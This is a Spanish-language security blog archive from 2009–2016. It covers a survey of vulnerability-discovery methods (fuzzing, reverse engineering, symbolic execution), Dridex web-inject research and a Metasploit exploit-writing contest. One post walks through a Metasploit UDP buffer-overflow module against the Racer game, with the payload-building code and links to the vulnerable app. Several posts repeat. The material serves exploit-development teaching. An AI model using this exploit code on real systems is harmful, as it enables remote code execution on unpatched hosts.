I show my research about the Web Injects of Dridex.
Analyzing the Web Injects and exploring the JavaScript source code. I managed to exploit the Dridex panel.
We have recovered more than 16,000 credit card numbers from over 100 countries.
More information:
Analysis of Latest Dridex Campaign
Full report:
Analyzing and Exploiting Web Injects of Dridex
martes, 12 de abril de 2016
miércoles, 30 de marzo de 2011
Cómo buscar vulnerabilidades en software
Hace mucho que no escribo nada, y esta vez será solo para recomendaros un artículo escrito por mi. El artículo describe las formas de búsqueda de vulnerabilidades actuales, aunque con ingenio seguramente se os ocurra alguna que sea eficaz también.
Cómo buscar vulnerabilidades en software
Voy a introducir en mi primer post en este blog, el cual trata sobre la búsqueda de vulnerabilidades enfocadas a binarios y no a aplicaciones web. Normalmente, los software vulnerables a buffer overlow, vulnerabilidades double free, null dereference… están programados en C o C++, lo que aumenta su peligrosidad, ya que otros lenguajes de programación tratan, por ejemplo, los arrays de caracteres de forma segura chequeando el tamaño de los mismos, en cambio en C Y C++, se le da total libertad al programador y es él quien debe encargarse de esos chequeos, esto no pasa en lenguajes como Java, Ruby, Perl, Delphi, etc.
Cuando auditamos una aplicación en busca de vulnerabilidades, podemos hacerlo de dos formas, a partir de su código fuente, lo que se llama análisis de código fuente, también llamada auditoría de Caja Blanca (WhiteBox), o a partir del binario de la aplicación llamada auditoría de Caja Negra (BlackBox). Realmente, en ciertas ocasiones podemos tener sólo disponibles partes del código pero de momento vamos a ir viendo esos dos casos:
Auditoría de código fuente
Para realizar dichos análisis, debemos indispensablemente saber programar muy bien en algún lenguaje como C y alguno orientado a objetos. Cuantos más conocimientos se tenga de programación, varios lenguajes completamente distintos, tecnologías, framework’s, etc. Nos será más efectivo llevar el análisis de código, además de conocer los posibles tipos de vulnerabilidades existentes, y normalmente en qué situaciones son provocadas o qué funciones son muy peligrosas de utilizar, si no se controlan bien. Para ello, nos podemos informar en internet aunque al final dejaré enlaces y libros enfocados a fallos típicos en binarios, los cuales pueden ser de nuestro interés para analizar aplicaciones en busca de vulnerabilidades. En la auditoría de binarios veremos algunas técnicas que perfectamente pueden servir para esto.
Análisis de binarios
En este caso suele estar disponible sólo el ejecutable, ya sea el típico PE de Windows, ELF de Linux, ROM…Veremos ejemplos más delante de binarios sobretodo enfocados a Windows. Veamos varias formas de buscar vulnerabilidades en binarios:
-Fuzzing: Consiste en realizar pruebas automáticas, en base a una investigación previa sobre la estructura de lo que queremos analiza, ya sea mediante el documento de especificación, o reverseando algún programa. Se utiliza para todo tipo de programas, pero es normal verlo para programas que abren “X” tipo de fichero y tienen una estructura interna por dentro. Por ejemplo, los pdf’s que están de moda, tienen una estructura y si se hace un programa que vaya generando numerosos documentos pdf’s malformados, pueden salir que un mismo pdf puede afectar a varios programas que no tienen nada que ver o que van copiando partes unos de otros, incluso varios fallos en un mismo lector de pdf’s.
-Ingeniería inversa: Mediante un depurador o desensamblador, como IDA Pro u OllyDbg, se puede ver el código en ensamblador y depurar el mismo. Tenemos el problema de que puedan ir protegidos, y se necesita un conocimiento en estas áreas, pero son herramientas perfectas si sabemos dónde buscar y nos pueden ayudar bastante a encontrar vulnerabilidades complejas, o incluso backdoors dejadas por programadores, que no se esperan que nadie pueda verlas, por ejemplo un condicional tipo ” if(password == “magicword:P”) “.
-Decompilación de código: A partir de decompiladores específicos de cierto lenguaje como los existentes para Delphi o .NET, tendríamos disponible el código fuente, siempre y cuando no viniera ofuscado ni con otras protecciones que llevaran más tiempo analizar. En este tipo de lenguajes y binarios pueden ser comunes los fallos tipo Command Injection y demás. Si intentamos decompilar un binario con código C/C++ podemos usar el IDA Pro con un plugin llamado Hex-Rays Decompiler que te lo traduce a código C aunque se pierden todos los símbolos y es difícil de seguir, pero mejor C que ensamblador en muchas ocasiones. De este modo, podríamos comenzar una auditoría manual y un análisis automatizados del código fuente como el de Buguroo BugScout.
-Ejecución simbólica: Es una técnica que, a partir de un método que se ejecuta al principio (un mecanismo interesante es el de proporcionar de entrada “X” valores de interés como entradas de usuario, para ello habría que adaptar el programa) es capaz de recorrer dinámicamente, todas las posibles rutas de ejecución de un programa y así encontrar vulnerabilidades difíciles de encontrar mediante otros métodos. El compilador-optimizador se llama LLVM y para esta tarea de búsqueda de vulnerabilidades se suele usar la máquina virtual KLEE. Se necesita compilar el código fuente de C, por ejemplo, con gcc-llvm. Se utiliza para programas que ya han sido testeados muchas veces. Este método puede descubrir alguna vulnerabilidad adicional ya que explora todo en ejecución y algunos compiladores modifican el código cuando compilan, (optimizaciones y demás) y se han dado varios casos en los que los códigos se han vuelto inseguros a través de estas modificaciones.
- Diff de binarios: Actualmente, un modo de hacer exploits es una vez que han parcheado un software, se aplican comparaciones entre la versión parcheada y la antigua, como pasa con los parches de Microsoft del tipo MS11-xxx, y se descubre el trozo de código que ha cambiado y se puede ver el fallo. Aunque propiamente el fallo ya ha sido descubierto antes, a veces se puede usar para encontrar fallos que han parcheado de manera silenciosa. Esta técnica también se puede aplicar a la auditoría manual si es un diff de código disponible.
-Testing manual: Hay varias formas de realizar este testeo para lograr buenos resultados, vamos a repasarlos brevemente:
Dejar la aplicación en manos de compañeros desarrolladores, y que vayan accediendo por todos lados probando inputs aleatorios y en algún caso, si existen zonas restringidas se les pase claves para que vayan probando en todas las zonas.
Una técnica utilizada por muchos productos, es lanzar el producto en versión Beta, y que la gente reporte problemas y errores descubiertos mediante su uso, estas versiones suelen llevar formas de reporte especial, además algo molestas para usuarios que en versiones oficiales no tienen.
Después de repasar cada método podemos inferir que ventajas y limitaciones tiene cada uno. En base a las limitaciones temporales que conlleva en muchas ocasiones la búsqueda de vulnerabilidades, elegiremos uno u otro. Utilizando todos de forma eficaz se puede llegar a un construir un software seguro.
También hay que destacar que hay tipos de análisis que se solapan. Por ejemplo, en este artículo no veo necesario entrar en el caso del threat model. Abajo os muestro algunos enlaces divididos por vulnerabilidades descubiertas con los distintos tipos de búsqueda de vulnerabilidades. Además, os dejo información de algunos de los temas tocados para que investiguéis en profundidad, aunque en posteriores post se irán tocando estos temas y otros de cómo aprovechar dichas vulnerabilidades mediante exploits.
Enlaces sobre distintos tipos de vulnerabilidades descubiertas con los métodos vistos:
Ejecución Simbólica:
*Decir que hay cientos de ejemplos en Internet, es cuestión de buscarlos. Entre ellos, alguno mio del que estoy seguro del método que se usó para descubrir la vulnerabilidad. En algún enlace se puede ver mezcla de métodos, incluso alguno general que tienen muchas vulnerabilidades pero que considero interesantes.
Otros enlaces de interés:
Link: http://blog.buguroo.com/?p=344
Saludos!!
Cómo buscar vulnerabilidades en software
Voy a introducir en mi primer post en este blog, el cual trata sobre la búsqueda de vulnerabilidades enfocadas a binarios y no a aplicaciones web. Normalmente, los software vulnerables a buffer overlow, vulnerabilidades double free, null dereference… están programados en C o C++, lo que aumenta su peligrosidad, ya que otros lenguajes de programación tratan, por ejemplo, los arrays de caracteres de forma segura chequeando el tamaño de los mismos, en cambio en C Y C++, se le da total libertad al programador y es él quien debe encargarse de esos chequeos, esto no pasa en lenguajes como Java, Ruby, Perl, Delphi, etc.
Cuando auditamos una aplicación en busca de vulnerabilidades, podemos hacerlo de dos formas, a partir de su código fuente, lo que se llama análisis de código fuente, también llamada auditoría de Caja Blanca (WhiteBox), o a partir del binario de la aplicación llamada auditoría de Caja Negra (BlackBox). Realmente, en ciertas ocasiones podemos tener sólo disponibles partes del código pero de momento vamos a ir viendo esos dos casos:
Auditoría de código fuente
Para realizar dichos análisis, debemos indispensablemente saber programar muy bien en algún lenguaje como C y alguno orientado a objetos. Cuantos más conocimientos se tenga de programación, varios lenguajes completamente distintos, tecnologías, framework’s, etc. Nos será más efectivo llevar el análisis de código, además de conocer los posibles tipos de vulnerabilidades existentes, y normalmente en qué situaciones son provocadas o qué funciones son muy peligrosas de utilizar, si no se controlan bien. Para ello, nos podemos informar en internet aunque al final dejaré enlaces y libros enfocados a fallos típicos en binarios, los cuales pueden ser de nuestro interés para analizar aplicaciones en busca de vulnerabilidades. En la auditoría de binarios veremos algunas técnicas que perfectamente pueden servir para esto.
Análisis de binarios
En este caso suele estar disponible sólo el ejecutable, ya sea el típico PE de Windows, ELF de Linux, ROM…Veremos ejemplos más delante de binarios sobretodo enfocados a Windows. Veamos varias formas de buscar vulnerabilidades en binarios:
-Fuzzing: Consiste en realizar pruebas automáticas, en base a una investigación previa sobre la estructura de lo que queremos analiza, ya sea mediante el documento de especificación, o reverseando algún programa. Se utiliza para todo tipo de programas, pero es normal verlo para programas que abren “X” tipo de fichero y tienen una estructura interna por dentro. Por ejemplo, los pdf’s que están de moda, tienen una estructura y si se hace un programa que vaya generando numerosos documentos pdf’s malformados, pueden salir que un mismo pdf puede afectar a varios programas que no tienen nada que ver o que van copiando partes unos de otros, incluso varios fallos en un mismo lector de pdf’s.
-Ingeniería inversa: Mediante un depurador o desensamblador, como IDA Pro u OllyDbg, se puede ver el código en ensamblador y depurar el mismo. Tenemos el problema de que puedan ir protegidos, y se necesita un conocimiento en estas áreas, pero son herramientas perfectas si sabemos dónde buscar y nos pueden ayudar bastante a encontrar vulnerabilidades complejas, o incluso backdoors dejadas por programadores, que no se esperan que nadie pueda verlas, por ejemplo un condicional tipo ” if(password == “magicword:P”) “.
-Decompilación de código: A partir de decompiladores específicos de cierto lenguaje como los existentes para Delphi o .NET, tendríamos disponible el código fuente, siempre y cuando no viniera ofuscado ni con otras protecciones que llevaran más tiempo analizar. En este tipo de lenguajes y binarios pueden ser comunes los fallos tipo Command Injection y demás. Si intentamos decompilar un binario con código C/C++ podemos usar el IDA Pro con un plugin llamado Hex-Rays Decompiler que te lo traduce a código C aunque se pierden todos los símbolos y es difícil de seguir, pero mejor C que ensamblador en muchas ocasiones. De este modo, podríamos comenzar una auditoría manual y un análisis automatizados del código fuente como el de Buguroo BugScout.
-Ejecución simbólica: Es una técnica que, a partir de un método que se ejecuta al principio (un mecanismo interesante es el de proporcionar de entrada “X” valores de interés como entradas de usuario, para ello habría que adaptar el programa) es capaz de recorrer dinámicamente, todas las posibles rutas de ejecución de un programa y así encontrar vulnerabilidades difíciles de encontrar mediante otros métodos. El compilador-optimizador se llama LLVM y para esta tarea de búsqueda de vulnerabilidades se suele usar la máquina virtual KLEE. Se necesita compilar el código fuente de C, por ejemplo, con gcc-llvm. Se utiliza para programas que ya han sido testeados muchas veces. Este método puede descubrir alguna vulnerabilidad adicional ya que explora todo en ejecución y algunos compiladores modifican el código cuando compilan, (optimizaciones y demás) y se han dado varios casos en los que los códigos se han vuelto inseguros a través de estas modificaciones.
- Diff de binarios: Actualmente, un modo de hacer exploits es una vez que han parcheado un software, se aplican comparaciones entre la versión parcheada y la antigua, como pasa con los parches de Microsoft del tipo MS11-xxx, y se descubre el trozo de código que ha cambiado y se puede ver el fallo. Aunque propiamente el fallo ya ha sido descubierto antes, a veces se puede usar para encontrar fallos que han parcheado de manera silenciosa. Esta técnica también se puede aplicar a la auditoría manual si es un diff de código disponible.
-Testing manual: Hay varias formas de realizar este testeo para lograr buenos resultados, vamos a repasarlos brevemente:
Dejar la aplicación en manos de compañeros desarrolladores, y que vayan accediendo por todos lados probando inputs aleatorios y en algún caso, si existen zonas restringidas se les pase claves para que vayan probando en todas las zonas.
Una técnica utilizada por muchos productos, es lanzar el producto en versión Beta, y que la gente reporte problemas y errores descubiertos mediante su uso, estas versiones suelen llevar formas de reporte especial, además algo molestas para usuarios que en versiones oficiales no tienen.
Después de repasar cada método podemos inferir que ventajas y limitaciones tiene cada uno. En base a las limitaciones temporales que conlleva en muchas ocasiones la búsqueda de vulnerabilidades, elegiremos uno u otro. Utilizando todos de forma eficaz se puede llegar a un construir un software seguro.
También hay que destacar que hay tipos de análisis que se solapan. Por ejemplo, en este artículo no veo necesario entrar en el caso del threat model. Abajo os muestro algunos enlaces divididos por vulnerabilidades descubiertas con los distintos tipos de búsqueda de vulnerabilidades. Además, os dejo información de algunos de los temas tocados para que investiguéis en profundidad, aunque en posteriores post se irán tocando estos temas y otros de cómo aprovechar dichas vulnerabilidades mediante exploits.
Enlaces sobre distintos tipos de vulnerabilidades descubiertas con los métodos vistos:
Fuzzing:
- http://www.fuzzing.org/
- http://lcamtuf.blogspot.com/2011/01/announcing-crossfuzz-potential-0-day-in.html
- http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0748
Ingenieria Inversa:
- http://aluigi.altervista.org/adv.htm
- http://www.computersecurityarticles.info/antivirus/having-fun-with-adobe-0-day-exploits/
Ejecución Simbólica:
Diff de binarios:
Manual testing:*Decir que hay cientos de ejemplos en Internet, es cuestión de buscarlos. Entre ellos, alguno mio del que estoy seguro del método que se usó para descubrir la vulnerabilidad. En algún enlace se puede ver mezcla de métodos, incluso alguno general que tienen muchas vulnerabilidades pero que considero interesantes.
Otros enlaces de interés:
- https://www.securecoding.cert.org/confluence/display/seccode/CERT+C+Secure+Coding+Standard
- http://www.exploit-db.com/
- http://www.securityfocus.com/
Link: http://blog.buguroo.com/?p=344
Saludos!!
lunes, 28 de septiembre de 2009
La guinda del pastel de SMB2
Bueno, hace tiempo os sonaría haber oido algo de que se había encontrado un fallo en windows vista y 7 que podía ser afectado de forma bestia por redes. Y aunque fue categorizado como DOS primeramente por Laurent Gaffié, el cual no pensaba que fuera posible explotar, después de una llamada de atención por parte de algunos, yo sólo sé de 48bits.com así que no sé si fueron los primeros. Decían en su blog que era posible explotarlo y así fue, no tardarían en investigar la gente el tema. Y hasta ahora todo era privado, pero metasploit lo acaba de publicar: http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb
Os recomiendo echarle un ojo para aprender bastante, ya que han ido explicando los autores como lo han hecho.
Un saludete
Os recomiendo echarle un ojo para aprender bastante, ya que han ido explicando los autores como lo han hecho.
Un saludete
Etiquetas:
Exploits,
Ingenieria Inversa,
Vulnerabilidades Software
domingo, 16 de agosto de 2009
Proyecto EEW(Expert Expoit Writer)
Os voy a hablar de un proyecto que se traen entre manos desde hace tiempo boken y yibam.
El proyecto en sí es la creación de una herramienta capaz de generar exploits a partir de un PoC en ficheros script de python completamente funcionales por sí solos.
Os copio parte de los blogs de yibam y boken:
El usuario indicaría la longitud de la cadena que provoca el Buffer Overflow, la via por la cual el software vulnerable es capaz de recibir dicha cadena. Por linea de comandos, en forma de fichero interpretables por el software vulnerable, por conexión de red (socket), como argumento de una función de una libreria .dll, etc... Y la herramienta comienza todo el proceso de análisis.
El análisis automático que realiza la herramienta, consiste en montar la PoC y lanzarlo contra el software vulnerable para provocar el crash de Access Violation. Debido a la infinidad de casos, la herramienta va salvando los diferentes obstáculos (AntiDEP, SafeSEH, excepciones de escritura o lectura de ciertas direcciones, localización de direcciones validas para hacer un trampolin valido, etc...) hasta llegar a sobreescribir EIP y con toda esa información, crear un script .py que al lanzarlo de manera independiente, sea capaz de ejecutar una shellcode explotando el fallo indicado por la PoC en el software vulnerable.
----
Bueno, os dejo que descubrais vosotros mismo las grandes utilidades que va a tener, de momento se puede usar en modo API, y como bien dicen ellos, el framework Sulley...que es para fuzzing, se podría acoplar y hacer...maravillas!!! ejeje
En el apartado de links de distintos blogs aparecen los blogs de yibam y boken y el link del proyecto es el siguiente:EEW(Exploit Expert Writer)
La única pega que le pongan el nombre en inglés jejej
El proyecto en sí es la creación de una herramienta capaz de generar exploits a partir de un PoC en ficheros script de python completamente funcionales por sí solos.
Os copio parte de los blogs de yibam y boken:
El usuario indicaría la longitud de la cadena que provoca el Buffer Overflow, la via por la cual el software vulnerable es capaz de recibir dicha cadena. Por linea de comandos, en forma de fichero interpretables por el software vulnerable, por conexión de red (socket), como argumento de una función de una libreria .dll, etc... Y la herramienta comienza todo el proceso de análisis.
El análisis automático que realiza la herramienta, consiste en montar la PoC y lanzarlo contra el software vulnerable para provocar el crash de Access Violation. Debido a la infinidad de casos, la herramienta va salvando los diferentes obstáculos (AntiDEP, SafeSEH, excepciones de escritura o lectura de ciertas direcciones, localización de direcciones validas para hacer un trampolin valido, etc...) hasta llegar a sobreescribir EIP y con toda esa información, crear un script .py que al lanzarlo de manera independiente, sea capaz de ejecutar una shellcode explotando el fallo indicado por la PoC en el software vulnerable.
----
Bueno, os dejo que descubrais vosotros mismo las grandes utilidades que va a tener, de momento se puede usar en modo API, y como bien dicen ellos, el framework Sulley...que es para fuzzing, se podría acoplar y hacer...maravillas!!! ejeje
En el apartado de links de distintos blogs aparecen los blogs de yibam y boken y el link del proyecto es el siguiente:EEW(Exploit Expert Writer)
La única pega que le pongan el nombre en inglés jejej
Etiquetas:
Exploits,
Python,
Seguridad,
Vulnerabilidades Software
lunes, 20 de julio de 2009
Pwtent Pwnables 100 - Solucion Defcon
Ya que hace tanto que no escribo en el blog, os dejo un zip con una solución de una prueba de la DefCon que trataba del tema que más me gusta, el exploiting jeje.
Ahí tenéis el link para descargar: 100 Pwtent Pwnables
Decir que el zip contiene pdf y docx, además de incluir otros archivos que en el pdf no he podido meter o se ven mal. En el documento docx está todos los archivos incluidos y la imagen si se ve bien.(El pdf lo cree desde el office, por eso se ve mal xD).
Espero que os guste y cualquier duda o sugerencia, son bienvenidas :p
Por cierto, contiene un exploit remoto hecho para metasploit :P
Ahí tenéis el link para descargar: 100 Pwtent Pwnables
Decir que el zip contiene pdf y docx, además de incluir otros archivos que en el pdf no he podido meter o se ven mal. En el documento docx está todos los archivos incluidos y la imagen si se ve bien.(El pdf lo cree desde el office, por eso se ve mal xD).
Espero que os guste y cualquier duda o sugerencia, son bienvenidas :p
Por cierto, contiene un exploit remoto hecho para metasploit :P
Etiquetas:
Exploits,
Ingenieria Inversa,
Seguridad,
Vulnerabilidades Software
domingo, 21 de junio de 2009
Fin de curso
Pues eso, al haber acabado el curso, ya por fin tendré tiempo para escribir por aquí y por allá, y actualizarme que llevo tiempo sin hacerlo y bueno hacer alguna salida por ahí como la del Asegura IT, que menudos cracks habia juntos.
Seguiré con los exploits que hice hace tiempo para el concurso, los cuales algunos ya están en metasploit oficialmente y bueno, veremos a ver si puedo sacar los concursos de exploiting de crackslatinos, que hay uno muy interesante que si lo hago, me cargo el DEP de forma brusca y a lo bestia.
Luego seguiré si tengo tiempo con los retos(haciendo y jugando xD)
Y a ponerse con hacking web, reversing y exploiting en linux, y lo que de tiempo.
Seguiré con los exploits que hice hace tiempo para el concurso, los cuales algunos ya están en metasploit oficialmente y bueno, veremos a ver si puedo sacar los concursos de exploiting de crackslatinos, que hay uno muy interesante que si lo hago, me cargo el DEP de forma brusca y a lo bestia.
Luego seguiré si tengo tiempo con los retos(haciendo y jugando xD)
Y a ponerse con hacking web, reversing y exploiting en linux, y lo que de tiempo.
miércoles, 4 de marzo de 2009
Metasploit -> MSFXDC(Protocolo UDP)
Remotos:
UDP: racer_bof.rb
Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.
Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.
1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb
Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.
Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################
En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos
buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)
udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.
handler #--> Controla la conexion
disconnect_udp #--> Y termina la conexion
########################################################################################################
Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################
Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar
Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5
--------------------------------------------
Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P
Saludos y espero que a alguno le sirva.
UDP: racer_bof.rb
Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.
Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.
1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb
Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.
Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################
En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos
buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)
udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.
handler #--> Controla la conexion
disconnect_udp #--> Y termina la conexion
########################################################################################################
Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################
Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar
Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5
--------------------------------------------
Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P
Saludos y espero que a alguno le sirva.
Etiquetas:
Metasploit,
MSFXDC,
Vulnerabilidades Software
martes, 24 de febrero de 2009
Ausencia de posts xD
Bueno tengo en mente tratar algunas cosas que he dicho que iba a tratar pero por circunsanticas personales no he podido así que a partir del finde espero rellenar el blog con algunso temas de exploits que me quedé a medias y alguna cosilla más.
Saludos si alguien me lee jeje.
Saludos si alguien me lee jeje.
sábado, 14 de febrero de 2009
Exploits hechos para el MSFXDC(1)
Bueno en determinados temas del blog iré mostrando los exploits hechos y además como han sido desarrollados y los que no hice desde 0, serán llevados del lenguaje que tuvieran en milw0rm a ruby para metasploit. Iré mostrando las similitudes que tienen entre ellos y cómo es fácil desarrollar un exploit que se basa en los mismos tipos de vulnerabilidades, locales, remotos, mismos protocolos, etc. Metasploit está preparado para gran número de exploits aunque todavía le faltan algunos protocolos para no tener que enviar muchos bytes de un protocolo en especial mediante tcp/ip.
De forma general los divido en 3 categorías, entendéreis el porqué.
Voy a dividir los exploits remoto de manera que los 2 primeros tipos son genéricos y cuando vayan saliendo protocolos conocidos FTP, SMTP, IMAP...etc, los iré poniendo separados. Por ejemplo en las siguientes categorías:
REMOTOS:
::TCP
::UDP
::FTP
::Otros Protocolos(IMAP,SMTP...)
::Explotados con Navegador(Especialmente Activex)
LOCALES:
::FILEFORMAT
WEBAPP:
::RFI
::RCE
Muchos de los subtipos, se pueden hacer de forma casi genérica, sólo cambiando lo esencial.
Como dije iremos viendo de todo tipo, mientras tanto boken escribirá algo más relacionado con Metasploit en general, que cómo veréis será muy interesante.
Con esto aprenderéis la forma rápida de hacer vuestro exploit y de probar con el mismo Metasploit si no sabéis programar con protocolos.
Decir, que estéis atentos a la herramienta de Jerome Athias, MSF-XB:
https://www.securinfos.info/metasploit/MSF-XB.php
Más que nada, porque se va actualizando y hablaré con él la forma de poder elegir para hacer ciertos exploits. Para que sea casi for dummies jeje, para así hacer de Metasploit una herramienta muy buena para las auditorías.
De forma general los divido en 3 categorías, entendéreis el porqué.
Voy a dividir los exploits remoto de manera que los 2 primeros tipos son genéricos y cuando vayan saliendo protocolos conocidos FTP, SMTP, IMAP...etc, los iré poniendo separados. Por ejemplo en las siguientes categorías:
REMOTOS:
::TCP
::UDP
::FTP
::Otros Protocolos(IMAP,SMTP...)
::Explotados con Navegador(Especialmente Activex)
LOCALES:
::FILEFORMAT
WEBAPP:
::RFI
::RCE
Muchos de los subtipos, se pueden hacer de forma casi genérica, sólo cambiando lo esencial.
Como dije iremos viendo de todo tipo, mientras tanto boken escribirá algo más relacionado con Metasploit en general, que cómo veréis será muy interesante.
Con esto aprenderéis la forma rápida de hacer vuestro exploit y de probar con el mismo Metasploit si no sabéis programar con protocolos.
Decir, que estéis atentos a la herramienta de Jerome Athias, MSF-XB:
https://www.securinfos.info/metasploit/MSF-XB.php
Más que nada, porque se va actualizando y hablaré con él la forma de poder elegir para hacer ciertos exploits. Para que sea casi for dummies jeje, para así hacer de Metasploit una herramienta muy buena para las auditorías.
Etiquetas:
Exploits,
Metasploit,
Vulnerabilidades Software
martes, 3 de febrero de 2009
MetaSploit Framework eXploits Development Contest
Feliz 2009, más que nada porque llevo más de dos meses sin escribir por aquí jeje. Y bueno aprovecho el primer post de este año a este concurso.
El concurso organizado por Jerome Athias de JA-PSI, trataba de conseguir el mayor número de puntos. Éstos se podían conseguir dependiendo del tipo de exploit que hicieras, si era un poc, un exploit para aplicaciones web, o si eran locales o remotos funcionales. Todo ello portado para metasploit. En el link del final tenéis mejor la info del concurso y los exploits mandados al mismo.
La verdad fue un mes duro ya que todo exploit portado de milw0rm a metasploit tenía que probarlo en mi máquina, ello implica buscar la app vulnerable, ajustarlo a mi sistema y que funcione de forma simple(Se irán mejorando con tiempo), y muchos de los probados ya estaban en metasploit o directamente la gente los envió a milw0rm como buenos y luego realmente tienen filtros u otras cosas que hacen que no funcionen. Vamos que sobreescriben el ret con AAAA y luego los 4 siguientes BBBB, y como eip es 41414141 y esp 42424242, a la hora de modificarlo ponen una shellcode cualquiera y un salto a esp en EIP y aunque no lo prueben lo mandan...Eso lo ví en varios desbordamientos de pila.
Además, aunque personalmente veía mal que enviasen webapp porque metasploit está enfocado más en otro tipo de aplicaciones, me puse a fondo para conseguir ventaja y hasta envié yo webapp sin probar, pero que modificados casi nada, son todos iguales(los RFI jeje).
Así que después de tanto currar al final tuve lo prometido, gané y me enviaron el premio sin problemas a mi cuenta, y además estoy apuntado para la FRHACK, conferencia a la que me gustaría ir, si alguien de España lee esto y se apunta que me diga que voy sólo jeje. Hablaré de ella en otro momento :D.
Finalmente, agradecer a Jerome Athias porque las veces que hablé con él fue muy majo y por organizar este tipo de concursos, que más que nada era me animaba a hacer exploits para metasploit, cosa que tenía pensado hacer pero que nunca me animaba.
Así que parte de lo aprendido, lo plasmaré en algún lugar o mi amigo Boken lo hará con sus tutos.
Tutos para hacer exploits para metasploit:
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 1 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 2 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 3 - +NCR CRC!
Además os digo que si tenéis app vulnerables que no estén en la lista siguiente, hacérmelo saber a mi o a la cuenta de correo que sale en la siguiente web:
https://www.securinfos.info/old-softwares-vulnerable.php
Link del concurso:
https://www.securinfos.info/metasploit/msfxdc.php
El concurso organizado por Jerome Athias de JA-PSI, trataba de conseguir el mayor número de puntos. Éstos se podían conseguir dependiendo del tipo de exploit que hicieras, si era un poc, un exploit para aplicaciones web, o si eran locales o remotos funcionales. Todo ello portado para metasploit. En el link del final tenéis mejor la info del concurso y los exploits mandados al mismo.
La verdad fue un mes duro ya que todo exploit portado de milw0rm a metasploit tenía que probarlo en mi máquina, ello implica buscar la app vulnerable, ajustarlo a mi sistema y que funcione de forma simple(Se irán mejorando con tiempo), y muchos de los probados ya estaban en metasploit o directamente la gente los envió a milw0rm como buenos y luego realmente tienen filtros u otras cosas que hacen que no funcionen. Vamos que sobreescriben el ret con AAAA y luego los 4 siguientes BBBB, y como eip es 41414141 y esp 42424242, a la hora de modificarlo ponen una shellcode cualquiera y un salto a esp en EIP y aunque no lo prueben lo mandan...Eso lo ví en varios desbordamientos de pila.
Además, aunque personalmente veía mal que enviasen webapp porque metasploit está enfocado más en otro tipo de aplicaciones, me puse a fondo para conseguir ventaja y hasta envié yo webapp sin probar, pero que modificados casi nada, son todos iguales(los RFI jeje).
Así que después de tanto currar al final tuve lo prometido, gané y me enviaron el premio sin problemas a mi cuenta, y además estoy apuntado para la FRHACK, conferencia a la que me gustaría ir, si alguien de España lee esto y se apunta que me diga que voy sólo jeje. Hablaré de ella en otro momento :D.
Finalmente, agradecer a Jerome Athias porque las veces que hablé con él fue muy majo y por organizar este tipo de concursos, que más que nada era me animaba a hacer exploits para metasploit, cosa que tenía pensado hacer pero que nunca me animaba.
Así que parte de lo aprendido, lo plasmaré en algún lugar o mi amigo Boken lo hará con sus tutos.
Tutos para hacer exploits para metasploit:
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 1 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 2 - Boken
Desarrollo de Exploits para Metasploit 3 desde cero - Parte 3 - +NCR CRC!
Además os digo que si tenéis app vulnerables que no estén en la lista siguiente, hacérmelo saber a mi o a la cuenta de correo que sale en la siguiente web:
